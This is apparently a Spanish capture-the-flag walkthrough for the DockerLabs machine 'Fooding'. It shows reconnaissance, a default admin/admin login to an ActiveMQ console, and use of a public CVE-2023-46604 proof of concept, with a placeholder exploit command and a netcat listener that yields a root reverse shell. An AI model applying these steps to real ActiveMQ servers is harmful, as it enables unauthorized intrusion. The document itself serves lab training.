Fooding - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Medio | ElPinguinoDeMario |
Reconocimiento
Durante la fase inicial del reconocimiento, identificamos varios puertos abiertos en el sistema objetivo. Las primeras imágenes muestran los resultados obtenidos de este escaneo inicial.
Al acceder a la página a través del puerto 80, encontramos la plantilla por defecto de Apache, lo cual no nos ofrece mucha información. Sin embargo, al intentar acceder a través del protocolo HTTPS, nos encontramos con una página diferente que podría ser más interesante.
Decidimos realizar un proceso de fuzzing utilizando Gobuster para descubrir archivos o directorios ocultos en el servidor web, pero esta técnica no reveló resultados útiles.
Revisando de nuevo el reporte de NMAP, observamos una entrada interesante en el puerto 8161. Al acceder a este puerto mediante la IP:8161, se nos solicitó un usuario y contraseña. Probamos con combinaciones comunes como “admin/admin” y conseguimos acceso.
Nos encontramos ante una interfaz de ActiveMQ. Al explorar la opción “Manage ActiveMQ broker”, pudimos verificar que la versión del broker es la 5.15.15.
Con esta información, procedimos a buscar posibles exploits que pudieran aprovecharse de esta versión específica de ActiveMQ. Encontramos un exploit potencial en el siguiente enlace:
https://github.com/evkl1d/CVE-2023-46604
Tras clonar el repositorio, identificamos que uno de los archivos, POC.xml, requería modificaciones para incluir nuestra IP y el puerto de escucha.
Configuramos un servidor HTTP en nuestro equipo atacante utilizando Python para servir el archivo modificado a través del puerto 80.
Finalmente, en otra terminal, ejecutamos el exploit utilizando el comando:
python exploit.py -i [IP] -p [PUERTO] -u [URL]
Con NetCat nos ponemos en escucha en el 443 y nos da una reverse shell como root